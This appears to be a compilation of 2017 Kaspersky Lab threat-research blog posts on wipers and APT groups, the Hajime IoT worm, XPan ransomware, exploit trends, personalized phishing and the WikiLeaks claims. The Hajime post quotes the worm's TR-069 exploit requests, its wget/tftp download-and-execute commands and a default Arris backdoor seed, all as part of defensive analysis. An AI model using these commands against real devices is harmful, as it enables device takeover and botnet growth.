Our technical analysis of StoneDrill lead to the discovery of old samples (2014) in our collection that share their base code with the new StoneDrill samples. Interestingly, these old samples were attributed to the NewsBeef (Charming Kitten) group. The similarities between samples include sharing the same credentials (username and password) for C2 communications, which establish a very strong link between them.

Figure 1. Credentials used for C2 communication both in StoneDrill and NewsBeef samples

We believe that StoneDrill might be a more recent version of NewsBeef artifacts, effectively relating the known APT actor with this new wave of wiper attacks.

In addition, and related to the Shamoon attacks, we have collected different artifacts that might have been used by the actor during the first stages of attack. This first stage is critical, as credentials need to be stolen for the subsequent distribution of the malware at the victim’s premises.

Ismdoor is a backdoor found to be related to the Shamoon attacks, and might serve well for the attackers’ purposes. This tool was found mainly in Saudi Arabia and belongs to the oil and energy industry. The analysis revealed very interesting details about additional tools used by the attackers for lateral movement, which were mainly based in Powershell-based exploitation frameworks, following the trend of using fileless generic malware explained later in this report.

Finally, it is remarkable that we have detected the first victim of StoneDrill in Europe. The victim belongs to the energy industry, something which might be an indicator that this actor is spreading out of the Middle East. After attributing this wiper with what we believe might be a government-sponsored actor, this fact is highly worrying, as it might indicate a geopolitically-motivated spread of cyber-sabotage operations. This last assumption is yet to be confirmed.


  • Wipers are now extending their geography

  • Wipers are now a part of the arsenal of APT groups. They can be used in destructive operations, as well as for deleting traces after a cyberespionage operation.

  • One of the modules used in the last Shamoon wave of attacks had ransomware capabilities, which might be considered another form of not-so-obvious wiping.

  • The fact that these destructive operations against energy companies might be related to some government sponsored APT actors is definitely worrying, and surpasses typical espionage operations.

BlueNoroff/Lazarus: bank robbery, evolved

A massive waterhole attack targeting Polish banks was publicly disclosed on 3 February, 2017. The attack leveraged the webserver of a Polish financial sector regulatory body, the Polish Financial Supervision Authority (, which was hacked and used to redirect users to an exploit kit. A very similar technique was used against the Mexican financial authority at the same time, and even if no other victims of this group were made public, it is very likely that more banks were also similarly affected.

Our analysis linked the attack with the BlueNoroff/Lazarus group, which has been responsible for multiple other bank attacks, including the famous Bangladesh bank heist. This waterhole attack revealed, for the first time, one of the strategies used by BlueNoroff for gaining a foothold in its target organizations. Although the attack didn’t use any zero days, the Flash Player and Silverlight exploit appeared to be enough to compromise a large number of banks, which were running on outdated software.

Indeed, we started tracking the BlueNoroff actor a long time ago. We originally saw this actor trying to infect banks in the South-East Asian region. BlueNoroff has developed a characteristic set of tools for lateral movement inside targeted organizations, and in several cases attempted tampering with SWIFT software for cashing out. This technique showed its enormous potential with the Bangladesh central bank heists, where attackers attempted to steal more than 900 million USD. In the February “Polish case”, we saw the group reusing these known lateral movements tools repackaged for their new wave of victims. This provided us with a high degree of confidence in attributing the attack to this actor.

Interestingly, the BlueNoroff group planted Russian words within the code, to derail investigators and avoid attribution. The code contained grammar errors a native Russian speaker wouldn’t make, and sentences were likely translated using online tools.


  • We believe BlueNoroff is one of the most active groups in terms of attacks against financial institutions and is trying to actively infect different victims in several regions.
  • We think their operations are still ongoing, and in fact, their most recent malware samples were found in March 2017.
  • At the moment we believe BlueNoroff is probably the most serious threat against banks.
Fileless malware: enough for the job with no attribution

Avoiding attribution is one of the key goals for many APT actors, especially since a large number of operations have been exposed in recent last years. For the most sophisticated groups, the problem is that they already have their well established procedures, specially crafted tools and training, that do not always allow them to stay unnoticed.

But that is not the case for the not-so-big actors or cybercriminals. Rather than creating and having their own tools, these use generic tools that are good enough to complete an operation, and provide an evident economic advantage, with the added value of making both analysis of the incident and attribution to a particular actor more difficult.

Nowadays there is a large number of different frameworks providing cyber-actors with many options, especially for lateral movement. This category includes Nishang, Empire, Powercat, Meterpreter, etc. Interestingly, most of these are based on Powershell, and allow the use of fileless backdoors.

We have seen such techniques being widely adopted in the last few months. We find examples in the lateral movement tools used in Shamoon attacks, in attacks against Eastern European banks, and used by different APT actors such as CloudComputating, Lungen or HiddenGecko, as well as in the evolution of old backdoors like Hikit, which evolved to new fileless versions.

This trend makes traditional forensic analysis harder, traditional IOCs such as file hashes obsolete, application whitelisting more difficult, and antivirus evasion easier. It also helps to evade most of the log activity.

On the other hand, attackers usually need to escalate privileges or steal administrator credentials, they don´t usually have a reboot survival mechanism in the machines they want to infect, and they rely on accessing them when they are reconnected to the infected network. The use of standard tools in the victim environment might also limit their options. This new paradigm is still unfolding and the best practices from a defense perspective are currently not totally clear. However, we offer our recommendations in the final section of this document.


  • No malware samples are needed for the successful exfiltration of data from a network.
  • The use of standard and open source utilities, combined with different tricks, makes detection and attribution almost impossible.
  • The determination of attackers to hide their activity and make detection and incident response increasingly difficult explains the latest trend of anti-forensic techniques and memory-based malware. That is why memory forensics is becoming critical to the analysis of malware and its functions.
  • Incident response in cases like this is key.
How to keep yourself protected

Exploiting vulnerabilities remains a key approach to infecting systems, therefore timely patching is of utmost importance – which, being one of the most tedious IT maintenance tasks, works much better with good automation. Kaspersky Endpoint Security for Business Advanced and Kaspersky Total Security include Vulnerability & Patch management components, offering convenient tools for making patching much easier, and much less time-consuming for IT staff.

Given the trend of using Powershell-based techniques, including bodiless malware scenarios, you need to make sure that your security solution is aware of such specifics. All tiers of Kaspersky Security Endpoint Security for Business as well as Kaspersky Security for Virtualization possess the broadest range of machine learning-powered detection techniques including those specifically taking care of malware using Powershell. Our behavioral System Watcher technology is also aware of specific Wiper activities like mass file deletion; after blocking the malware, its Rollback feature brings important user files back from their deleted state.

Still, it is necessary to understand that targeted attacks are dangerous not only because of their sophistication (which sometimes is not the case), but because they are usually well-prepared, and try to leverage security gaps unobvious to their targets.

Therefore, it is highly recommended that you arm yourself not only with prevention (such as endpoint protection) but also with detection capabilities, specifically with a solution that can detect anomalies in the whole network’s ongoing activities, and scrutinize suspicious files at a much deeper level than it is possible on users’ endpoints. Kaspersky Anti Targeted Attack is an intellectual detection platform that matches events coming from different infrastructure levels, discerns anomalies and aggregates them into incidents, while also studying related artifacts in a safe environment of a sandbox. As with most Kaspersky products, Kaspersky Anti Targeted Attack is powered by HuMachine Intelligence, which is backed by on premise and in lab-running machine learning processes coupled with real-time analyst expertise and our understanding of threat intelligence big data.

And the best way to prevent the attackers from finding and leveraging security holes is getting rid of them all, including those involving improper system configurations or errors in proprietary applications. For this, Kaspersky Penetration Testing and Application Security Assessment services can become a convenient and highly effective solution, providing not only data on found vulnerabilities, but also advising on how to fix it, further strengthening corporate security.

Hajime, the mysterious evolving botnet

Tue, 04/25/2017 - 04:58


Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown.

Hajime is continuously evolving, adding and removing features over time. The malware authors are mainly reliant on very low levels of security.

In this blogpost we outline some of the recent ‘improvements’ to Hajime, some techniques that haven’t been made public, and some statistics about infected IoT devices.

ATK module improvements

First of all, let’s take a look at the changes made to the attack module recently. Currently, the ATK (attack) module supports three different attack methods which help to propagate the worm on different IoT devices:

  1. TR-069 exploitation;
  2. Telnet default password attack;
  3. Arris cable modem password of the day attack.

Of these three attacks, the TR-069 exploit is a new one, implemented recently by the attackers.

Technical Report 069 is a standard published by the Broadband Forum, which is an industry organization defining standards used to manage broadband networks. Many ISPs and device manufacturers are members of the Broadband Forum. TR-069 allows ISPs to manage modems remotely. TCP port 7547 has been assigned to this protocol, but some devices appear to use port 5555 instead.

The TR-069 NewNTPServer feature can be used to execute arbitrary commands on vulnerable devices. In order to do so, the exploit starts by connecting to port 7547 and then sends the following HTTP request:

GET / HTTP/1.1



Content-Type: text/xml

Content-Length: 0

Where RANDOM_USER_AGENT is chosen from the following list:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7

After some checks, it sends the following request to trigger the vulnerability:

POST /UD/act?1 HTTP/1.1



Content-Type: text/xml

Content-Length: BODY_LENGTH

SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers

<?xml version=”1.0″?>

<SOAP-ENV:Envelope xmlns:SOAP-ENV=”” SOAP-ENV:encoding”>“>


<u:SetNTPServers xmlns:u=”urn:dslforum-org:service:Time:1″>









The INJECT_COMMANDS can either be:

cd /tmp;tftp -l<INT_ARCH_ID> -r<INT_ARCH_ID> -g <SEED_IP_PORT>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>


cd /tmp;wget http://<SEED_IP_PORT>/<INT_ARCH_ID>;chmod 777 <INT_ARCH_ID>;./<INT_ARCH_ID>

Once the vulnerable device executes the commands specified in INJECT_COMMANDS, the device is infected and becomes part of the botnet.

Architecture detection

With the addition of the new attack vector as described above, it would make sense to improve the architecture detection logic. This is because Hajime doesn’t attack any specific type of device, but rather any device on the Internet with the exception of several networks (it does has some logic to speed up attacks on specific devices though – see the next section). And this is exactly what they did, though strangely enough this only holds for the Telnet attack.

Once the attack successfully passes the authentication stage, the first 52 bytes of the victim’s echo binary are read. The first 20 bytes, which is the ELF header, hold information about the architecture, operating system and other fields. The victim’s echo ELF header is then compared against a predefined array, containing the Hajime stub downloader binaries for different architectures. This way the correct Hajime-downloader binary that works on the victim’s machine, can be uploaded from the attacker (which is actually the infected device that started the attack).

But before this, the host and port that the malware will be downloaded from needs to be set. The Hajime stub downloader binary has these values filled up with 0xCC bytes by default. To solve this, they are fixed on the fly right before connecting.

Furthermore the downloader needs to be patched with the WAN interface’s name. The attackers have a clever trick, where they ‘echo’ the binary to a file (“.s”), set the WAN interface name and then echo the last part of the binary (see below).

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

(route -n | grep UG | grep lbr0 && echo -n lbr0 >> .s) || (route -n | grep UG | grep mta0 && echo -n mta0 >> .s)

echo -ne “DOWNLOADER_HEX_BYTES” >> .s

./.s>.i; chmod +x .i; ./.i; rm .s;


“Smart” password bruteforcing

Even though Hajime can attack any device, the authors nevertheless focused on some specific brands/devices. For example, if after opening a telnet session the welcome message contains one of the following words, then the bruteforcing starts with a specific username-password combination.

Password hint words:



Welcome to ATP Cli











One string that is not listed above is that of “ARRIS”, because if this string is found, the attack changes slightly. The Atk module uses a specially crafted password of the day for the Arris cable modem instead of using the static telnet passwords. The ARRIS password of the day is a remote backdoor known since 2009. It uses a DES encoded seed (set by the ISP using the arrisCmDoc30AccessClientSeed MIB) to generate a daily password. The default seed is “MPSJKMDHAI” and many ISPs don’t bother changing it at all. After successful authentication the module gains access to a remote shell and can execute commands.


While working on this blogpost, we collected statistics using three different methods:

  1. We had a honeypot with telnet open;
  2. We looked at the infected peers as DHT seeders;
  3. We looked at the infected peers as DHT leechers;

Of these three methods, the DHT leecher count proved to be the best. By announcing on the DHT network with a peer id similar to that day’s identifier of the configuration file we were able to be the “nearest” node and collected requests from almost every infected device.

The DHT seeder count is an inverse method; we were requesting the Hajime config and receiving the lists of seeding nodes. Due to the limitations of the DHT architecture we can see most of the leechers, but not most of the seeders. Therefore, the seeder data is of less relevance than the leecher data.

Geography of telnet attackers

Our honeypot registered 2,593 successful telnet Hajime attacks in 24 hours. 2,540 of them were from unique IP addresses, 949 hosts provided a payload and 528 had an active web server running at port 80/tcp.

Distribution of attackers by country Vietnam 509 20.04% Taiwan 327 12.87% Brazil 227 8.94% Turkey 167 6.57% Korea 150 5.91% India 141 5.55% China 97 3.82% Russia 72 2.83% Romania 69 2.72% Colombia 58 2.28% Mexico 54 2.13% Others 669 26.34% Total 2540 Victim device web server analysis

The HTTP server version is typically shown in the HTTP server response headers. After a little analysis we see that most of the victims turn out to be DVRs, followed by web cameras, routers, etc.

http header “Server” statistics 364 Server: uc-httpd 1.0.0 43 Server: WCY_WEBServer/2.0 9 Server: Boa/0.94.14rc21 4 Server: thttpd/2.25b-lxc 29dec2003 3 Server: Router Webserver 2 Server: GoAhead-Webs 2 Server: JAWS/1.0 May 26 2014 2 Server: nginx/1.4.4 1 Server: DNVRS-Webs 1 Server: IPCamera-Webs 1 Server: IPCamera-Webs/2.5.0 1 Server: JAWS/1.0 Aug 21 2013 1 Server: JAWS/1.0 Jul 9 2013 1 Server: JAWS/1.0 Jun 13 2013 1 Server: JAWS/1.0 Jun 25 2013 1 Server: JAWS/1.0 Mar 20 2014 1 Server: JAWS/1.0 May 13 2013 1 Server: Microsoft-IIS/7.5 1 Server: Web server 1 Server: WebServer Web interface “title” statistics 315 NETSurveillance WEB 84 WEB SERVICE 37 NETSuveillance WEB 36 IVSWeb 2.0 – Welcome 21 9 main page 6 NEUTRON 4 WEB SURVEILLANCE 3 CPPLUS DVR –Web View 2 IVSWeb 2.0 – Добро пожаловать 2 IVSWEB_TITLE – IVSWEB_LOGIN_TITLE 2 replace 1 CPPLUS DVR–Web View 1 GIGA Security 1 IIS7 1 iProview Web 2.0 – Welcome 1 IVSWeb 2.0 – Hoş geldiniz 1 IVSWeb 2.0 – Witamy 1 WATASHI SERVICE Geography of infected peers as DHT seeders

Throughout the research period, at least 15,888 unique infected boxes were revealed, though this number is not very accurate. All of them were seeding Hajime config.

Distribution of infected boxes by country Iran 2285 14.38% Vietnam 1819 11.45% Brazil 1102 6.94% Turkey 911 5.73% China 909 5.72% Taiwan 805 5.07% Russia 747 4.70% India 642 4.04% Korea 624 3.93% Mexico 542 3.41% Others 5502 34.63% Total 15888 Geoip of infected peers as DHT leechers

This method revealed 297,499 unique infected hosts during the research period. All of them were requesting Hajime config.

Distribution of leechers by country Iran 58465 19.65% Brazil 26188 8.80% Vietnam 23418 7.87% Russia 22268 7.49% Turkey 18312 6.16% India 16445 5.53% Pakistan 14069 4.73% Italy 10530 3.54% Taiwan 10486 3.52% Australia 9436 3.17% Others 87882 29.54% Total 297499 Conclusion

The most intriguing thing about Hajime is its purpose. While the botnet is getting bigger and bigger, partly due to new exploitation modules, its purpose remains unknown. We haven’t seen it being used in any type of attack or malicious activity. And maybe this will never happen, because every time a new configuration file is downloaded, a piece of text is displayed through stdout while the new configuration is being processed:

Example message:

Whether the author’s message is true or not remains to be seen. Nevertheless, we advise owners of IoT devices to change the password of their devices to one that’s difficult to brute force and to update the firmware if possible.

Kaspersky Labs products detect this threat as Backdoor.Linux.Hajime.


Hajime avoids this ip subnetworks (which hardcoded in a module): Ukraine; Region Vinnyts’ka Oblast’ Iran, Islamic Republic of; Region Tehran Germany Virtela Communications Inc Amsterdam, NL POP South Africa; Region Gauteng IANA – Local Identification General Electric Company Hewlett-Packard Company Hewlett-Packard Company US Postal Service Multicast

United States Department of Defense:

Private networks:

XPan, I am your father

Mon, 04/24/2017 - 04:55

While we have previously written on the now infamous XPan ransomware family, some of it’s variants are still affecting users primarily located in Brazil. Harvesting victims via weakly protected RDP (remote desktop protocol) connections, criminals are manually installing the ransomware and encrypting any files which can be found on the system.

Interestingly, this XPan variant is not necessarily new in the malware ecosystem. However, someone has chosen to keep on infecting victims with it, encouraging security researchers to hunt for samples related to the increasing number of incident reports. This sample is what could be considered as the “father” of other XPan ransomware variants. A considerable amount of indicators within the source code depict the early origins of this sample.

“Recupere seus arquivos aqui.txt” loosely translated to “recover your files here” is a phrase that not many Brazilian users are eager to see in their desktops.

The ransomware author left a message for Kaspersky in other versions and has done the same in this one, with traces to the NMoreira “CrypterApp.cpp” there’s a clear link between different variants among this malware family.

NMoreira, XPan, TeamXRat, different names but same author.

Even though many Brazilian-Portuguese strings are present upon initial analysis, there were a couple that caught our attention. Firstly, the ransomware uses a batch file which will pass a command line parameter to an invoked executable file, this parameter is “eusoudejesus” which means “I’m from Jesus”. Developers tend to leave tiny breadcrumbs of their personality behind in each one of their creations, and in this sample we found many of them.

A brief religious reference found in this XPan variant.

Secondly, a reference to a Brazilian celebrity is done, albeit indirectly. “Computador da Xuxa” was a toy computer sold in Brazil during the nineties, however it’s also a popular expression which is used to make fun of very old computers with limited power.

This is what cybercriminals think of your encrypted computer: just a toy they can control.

“Muito bichado” equals to finding a lot of problems in these type of systems, in this case meaning that the environment in which is XPan is executing is not playing fair and the execution is quite buggy.

Lastly, we have the ransomware note demanding the victim to send an email to the account ‘’. Considering that the extension for all the encrypted files in this variant is ‘.one’ this seems like a pretty straightforward naming convention for the criminals’ campaigns.

The rescue note in Portuguese.

Upon closer inspection, we discovered that this sample is nearly identical to another version of Xpan which used to be distributed back in November 2016 and used the extension “.__AiraCropEncrypted!”. Every bit of executable code remains the same, which is quite surprising, because since that time there were several newer versions of this malware with an updated encryption algorithm. Both samples have the same PE timestamp dating back to the 31st of October 2016.

The only difference between the two is the configuration block which contains the following information:

  • list of target file extensions;
  • ransom notes;
  • commands to execute before and after encryption;
  • the public RSA key of the criminals.

The decrypted configuration block of Xpan that uses the extension “.one”.

The file encryption algorithm also remains the same. For each target file the malware generates a new unique 255-byte random string S (which contains the substring “NMoreira”), turns it into a 256-bit key using the API CryptDeriveKey, and proceeds to encrypt the file contain using AES-256 in CBC mode with zero IV. The string S will be encrypted using the criminals’ RSA public key from the configuration block and stored in the beginning of the encrypted file.

According to one of the victims that contacted us, criminals were asking for 0.3 bitcoin to provide the recovery key, using the same approach as they did with before: the user sends a message to a mailbox with his unique ID and patiently awaits for further instructions.

The victims so far are small and medium businesses in Brazil: ranging from a dentist clinic to a driving school, demonstrating once again that ransomware makes no distinctions and everyone is at risk. As long as there are victims, assisting them and providing decryption tools whenever possible is necessary, no matter the ransomware family or when it was created.

Victims: we can help

This time luck is on the victims’ side! Upon thorough investigation and reverse engineering of the sample of “.one” version of Xpan, we discovered that the criminals used a vulnerable cryptographic algorithm implementation. It allowed us to break encryption as with the previously described Xpan version.

We successfully helped a driving school and a dentist clinic to recover their files for free and as usual we encourage victims of this ransomware to not pay the ransom and to contact our technical support for assistance in decryption.

Brazilian cybercriminals are focusing their efforts in creating new and local ransomware families, attacking small companies and unprotected users. We believe this is the next step in the ransomware fight: going from global scale attacks to a more localized scenario, where local cybercriminals will create new families from scratch, in their own language, and resorting to RaaS (Ransomware-as-a-service) as a way to monetize their attacks.

MD5 reference

dd7033bc36615c0fe0be7413457dccbf – Trojan-Ransom.Win32.Xpan.e (encrypted file extension: “.one”)
54217c1ea3e1d4d3dc024fc740a47757 – Trojan-Ransom.Win32.Xpan.d (encrypted file extension: “.__AiraCropEncrypted!”)

Exploits: how great is the threat?

Thu, 04/20/2017 - 04:57

How serious, really, is the danger presented by exploits? The recent leak of an exploit toolset allegedly used by the infamous Equation Group suggests it’s time to revisit that question. Several zero-days, as well as a bunch of merely ‘severe’ exploits apparently used in-the-wild were disclosed, and it is not yet clear whether this represents the full toolset or whether there’s more to come, related to either Equation or another targeted threat actor.

Of course, Equation Group is not the first, and is certainly not the only sophisticated targeted attacker to use stealthy, often zero-day exploits in its activity.

Today we are publishing an overview of the exploit threat landscape. Using our own telemetry data and intelligence reports as well as publically available information, we’ve looked at the top vulnerabilities and applications exploited by attackers.

We have examined them from two equally important perspectives. The first part of the report summarises the top exploits targeting all users in 2015-2016, and the most vulnerable applications. The second part considers the vulnerabilities exploited between 2010 and 2016 by significant targeted threat actors reported on by Kaspersky Lab: that’s 35 actors and campaigns in total.

Key findings on exploits targeting all users in 2015-2016:
  • In 2016 the number of attacks with exploits increased 24.54%, to 702,026,084 attempts to launch an exploit.
  • 4,347,966 users were attacked with exploits in 2016 which is 20.85% less than in the previous year.
  • The number of corporate users who encountered an exploit at least once increased 28.35% to reach 690,557, or 15.76% of the total amount of users attacked with exploits.
  • Browsers, Windows, Android and Microsoft Office were the applications exploited most often – 69.8% of users encountered an exploit for one of these applications at least once in 2016.
  • In 2016, more than 297,000 users worldwide were attacked by unknown exploits (zero-day and heavily obfuscated known exploits).

2015-2016 witnessed a number of positive developments in the exploit threat landscape. For example, two very dangerous and effective exploit kits – Angler (XXX) and Neutrino, left the underground market, depriving cybercriminals community of a very comprehensive set of tools created to hack computers remotely.

A number of bug bounty initiatives aimed at highlighting dangerous security issues were launched or extended. Together with the ever-increasing efforts of software vendors to fix new vulnerabilities, this significantly increased the cost to cybercriminals of developing new exploits. A clear victory for the infosec community that has resulted in a drop of just over 20% in the number of private users attacked with exploits: from 5.4 million in 2015 to 4.3 million in 2016.

However, alongside this welcome decline, we’ve registered an increase in the number of corporate users targeted by attacks involving exploits. In 2016, the number of attacks rose by 28.35% to reach more than 690,000, or 15.76% of the total amount of users attacked with exploits. In the same year, more than 297,000 users worldwide were attacked by unknown exploits. These attacks were blocked by our Automatic Exploit Prevention technology, created to detect this type of exploits.

Key findings on exploits used by targeted attackers 2010 -2016:
  • Overall, targeted attackers and campaigns reported on by Kaspersky Lab in the years 2010 to 2016 appear to have held, used and re-used more than 80 vulnerabilities. Around two-thirds of the vulnerabilities tracked were used by more than one threat actor.
  • Sofacy, also known as APT28 and Fancy Bear seems to have made use of a staggering 25 vulnerabilities, including at least six, if not more zero-days. The Equation Group is not far behind, with approximately 17 vulnerabilities in its arsenal, of which at least eight were zero-days, according to public data and Kaspersky Lab’s own intelligence.
  • Russian-speaking targeted attack actors take three of the top four places in terms of vulnerability use (the exception being Equation Group in second place), with other English- and Chinese-speaking threat actors further down the list.
  • Once made public, a vulnerability can become even more dangerous: grabbed and repurposed by big threat actors within hours.
  • Targeted attackers often exploit the same vulnerabilities as general attackers – there are notable similarities between the list of top vulnerabilities used by targeted threat actors in 2010-2016, and those used in all attacks in 2015-2016.

When looking more closely at the applications used by targeted threat actors to mount exploit-based attacks, we weren’t surprised to discover that Windows, Flash and Office top the list.

Applications and Operation Systems most often exploited by targeted attack groups.

Moreover, the recent leak of multiple exploits allegedly belonging to the Equation cyberespionage group highlighted another known but often overlooked truth: the life of an exploit doesn’t end with the release of a security patch designed to fix the vulnerability being exploited.

Our research suggests that threat actors are still actively and successfully exploiting vulnerabilities patched almost a decade ago – as can be seen in the chart below:

Everyone loves an exploit

Exploits are an effective delivery tool for malicious payloads and this means they are in high demand among malicious users, whether they are cybercriminal groups, or targeted cyberespionage and cybersabotage actors.

To take just one example, when we looked at our most recent threat statistics we found that exploits to CVE-2010-2568 (used in the notorious Stuxnet campaign) still rank first in terms of the number of users attacked. Almost a quarter of all users who encountered any exploit threat in 2016 were attacked with exploits to this vulnerability.

Conclusion and Advice

The conclusion is a simple one: even if a malicious user doesn’t have access to expensive zero-days, the chances are high that they’d succeed with exploits to old vulnerabilities because there are many systems and devices out there that have not yet been updated.

Even though developers of popular software invest huge resources into finding and eliminating bugs in their products and exploit mitigation techniques, for at least the foreseeable future the challenge of vulnerabilities will remain.

In order to protect your personal or business data from attacks via software exploits, Kaspersky Lab experts advise the following:

  • Keep the software installed on your PC up to date, and enable the auto-update feature if it is available.
  • Wherever possible, choose a software vendor which demonstrates a responsible approach to a vulnerability problem. Check if the software vendor has its own bug bounty program.
  • If you are managing a network of PCs, use patch management solutions that allow for the centralized updating of software on all endpoints under your control.
  • Conduct regular security assessments of the organization’s IT infrastructure.
  • Educate your personnel on social engineering as this method is often used to make a victim open a document or a link infected with an exploit.
  • Use security solutions equipped with specific exploit prevention mechanisms or at least behavior-based detection technologies
  • Give preference to vendors which implement a multilayered approach to protection against cyberthreats, including exploits.

Further details on exploits used in attacks in 2015 and 2016, as well as by the big targeted threat actors over the last six years – and Kaspersky Lab guidance on how to address the threat they present, can be found in the full report.

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Personalized Spam and Phishing

Wed, 04/19/2017 - 05:58

Most spam, especially the sort that is mass-mailed on behalf of businesses, has quite an impersonal format: spammers create a message template for a specific mailing purpose and often drastically diversify the contents of that template. Generally, these kinds of messages do not personally address the recipient and are limited to common phrases such as “Dear Client”. The most that personal data is ever involved is when the name of the mailbox (or part of it) is substituted with the electronic address that the spammer has. Any specifics that may help the recipient ascertain whether the message is addressed personally to him or not, for example, an existing account number, a contract number, or the date of its conclusion, is missing in the message. This impersonality, as a rule, attests toa phishing attempt.

Lately, however, we have been noticing an opposite tendency occurring quite often, wherein fraud becomes personalized and spammers invent new methods to persuade the recipient that the message is addressed personally to him. Thus, in the malicious mailing that we discovered last month, spammers used the actual postal addresses of the recipients in messages to make them seem as credible as possible. This information is sold to evildoers as ready-to-use databases with physical addresses (they are frequently offered for sale in spam messages), collected by evildoers from open sources, or obtained by evildoers when hacking email accounts, for example. Of course, cybercriminals will not have very many of these addresses at their disposal (compared to generated addresses), but they are much more valuable.

The way spammers organize their personalized attacks plays an important role as well. In general, messages are mass mailed on behalf of an existing company, while the technical headers of fake messages use the company’s actual details.

There are several ways to use valid details. The most unsophisticated method is spoofing, which is substitution of technical headers in messages. The headers can be easily placed with any mass mailing program. In particular, during the spoofing process, the “From” field contains the real address of the sender that the fraudsters have. In this case, spam will be mass-mailed on behalf of the spoofed company, which can stain the company’s reputation quite seriously. Yet, not all technical headers can be substituted when spoofing, and good anti-spam filters will not let these messages through.

Another method entails sending spam from so-called hijacked infrastructure, which is much harder to do technically, as the mail server of the target company has to be hacked. After gaining control over it, an evildoer can start sending messages with legitimate technical headers from any email address owned by the company and on behalf of any employee who works there. At the same time, the fake message looks quite credible for anti-spam filters and freely travels from server to server, as all of the necessary certificates and digital signatures in the header correspond to genuine counterparts. This would result in losses by both the recipient, who takes the bait of the evildoers (network infection and theft of personal data or business information), and the company, whose infrastructure is abused by the evildoers.

Usually, cybercriminals select small businesses (with up to several dozen employees) as victims for hacking. Owners of so-called parked domains are of particular interest, as parked domains are used by a company without creating a website on these domains.

In the samples detected by us, personalized malicious spam was mass-mailed on behalf of an existing business that was a small company specialized in staff recruitment. The messages contained order delivery notifications that are typical of malicious spam, but also indicated the real postal addresses of the recipients. The messages also contained URLs that were located on legitimate domains and were constantly changing throughout the mailings. If a user navigates to the URL, then malicious software will be downloaded to the user’s computer.

In this way, we may affirm that spam is becoming more personalized and mailing is becoming targeted. With the rising digital literacy of users, this is exactly what evildoers rely upon; It is not so easy to remember all your subscriptions, all your online orders, or where you’ve left your personal data, including addresses. Such an information load calls for the use of smart security solutions and the employment of security measures to protect your “information-driven personality”.

The security is still secure

Thu, 04/13/2017 - 09:49

Recently WikiLeaks published a report that, among other things, claims to disclose tools and tactics employed by a state-sponsored organization to break into users’ computers and circumvent installed security solutions.

The list of compromised security products includes dozens of vendors and relates to the whole cybersecurity industry. The published report includes a description of vulnerabilities in software products that can be used to bypass protection and jeopardize users’ security.

Customers’ security is a top priority for Kaspersky Lab, and as such we take any information that could undermine users’ protection very seriously. We thoroughly investigate all reported vulnerabilities.

The published report contains descriptions of two vulnerabilities in Kaspersky Lab’s products that have already been fixed. It also includes a number of mentions related to the company’s technologies and past Advanced Persistent Threat (APT) research. I’d like to take this opportunity to address possible concerns regarding the report and provide reliable first-hand information to demonstrate that no current Kaspersky Lab products and technologies are vulnerable.

Vulnerabilities in security solutions

First of all, I’d like to emphasize that the vulnerabilities in Kaspersky Lab’s products listed in the report are related to older versions of the products, and they were publicly disclosed and fixed some time ago. The current versions of our products are not vulnerable to the tools and tactics listed.

The “heapgrd” DLL inject vulnerability was discovered and fixed in Kaspersky Lab products back in 2009. The vulnerability allowed a malefactor to load a third-party DLL instead of the WHEAPGRD.dll file and thus bypass protection. It was patched starting with Kaspersky Internet Security 9 and Kaspersky Antivirus for Workstations MP4. The products that were mentioned in relation to these vulnerabilities (Kaspersky Internet Security 7 and 8 and Kaspersky Antivirus for Workstations MP3) are outdated and no longer supported. All current Kaspersky Lab solutions are subject to mandatory testing against these vulnerabilities prior to release.

The TDSS Killer’s DLL inject vulnerability mentioned in the WikiLeaks report was fixed in 2015.

Product behavior specifics

The report also says Kaspersky Lab’s security solutions do not block DLL injections into user processes and svchost.exe. In fact, we do protect against this sort of attack — in a smarter way that elegantly combines protection and a better user experience.

Nowadays, it’s common practice for legitimate applications to inject their code into user processes. To effectively distinguish legitimate from malicious actions, track changes, and restore unwanted amendments an application may make to the system, Kaspersky Lab’s products have included the System Watcher component since 2011. System Watcher monitors all processes on a device, including svchost.exe, and is capable of detecting malicious behavior, blocking it, and rolling back malicious changes.

The report also describes several tools and malicious programs that were used to collect data and infiltrate the users’ computers. However, all of them can be neutralized with Kaspersky Lab’s products. Let’s take a closer look at them.

First, the RickyBobby fileless Trojan is allegedly not detected by Kaspersky Lab’s products, which is not the case. All personal and enterprise level products can detect this Trojan, prevent the infection, and disinfect a system that was protected by a third-party or outdated security solution.

Second, the report mentions two other malware samples (Fine Dining and Grasshopper) that allegedly are not detected by Kaspersky Lab’s products. However, the report doesn’t provide further details of the malware. We will keep investigating the issue and report the findings as soon as details are available.

That said, we are skeptical: It’s said Fine Dining relies on the aforementioned DLL inject vulnerability in TDSS Killer, which is already fixed. Also it’s worth mentioning that Kaspersky products provide multiple layers of protection — such as emulation, heuristics, System Watcher, and Automatic Exploit Prevention — including those powered by industry-leading machine learning. These technologies are capable of detecting cyberthreats proactively based on their behavior and are constantly improved to address new techniques employed by malicious actors. The analysis of the report makes us optimistic that our customers are already protected against both Fine Dining and Grasshopper.

Third, the report mentions HammerDrill, API Memcry, and Trojan Upclicker, which use a variety of techniques to try to avoid detection by the emulator technology.

Kaspersky Lab’s emulator’s history dates back to the early 90s. It’s rated one of the best in the cybersecurity industry, and it’s continuously improved. The functionality to address the described Trojan Upclicker cloaking method was included in the emulator more than a year ago, for example. The other two tools are effectively managed by the multilayer protection available in Kaspersky Lab’s products both for home users and enterprise customers.

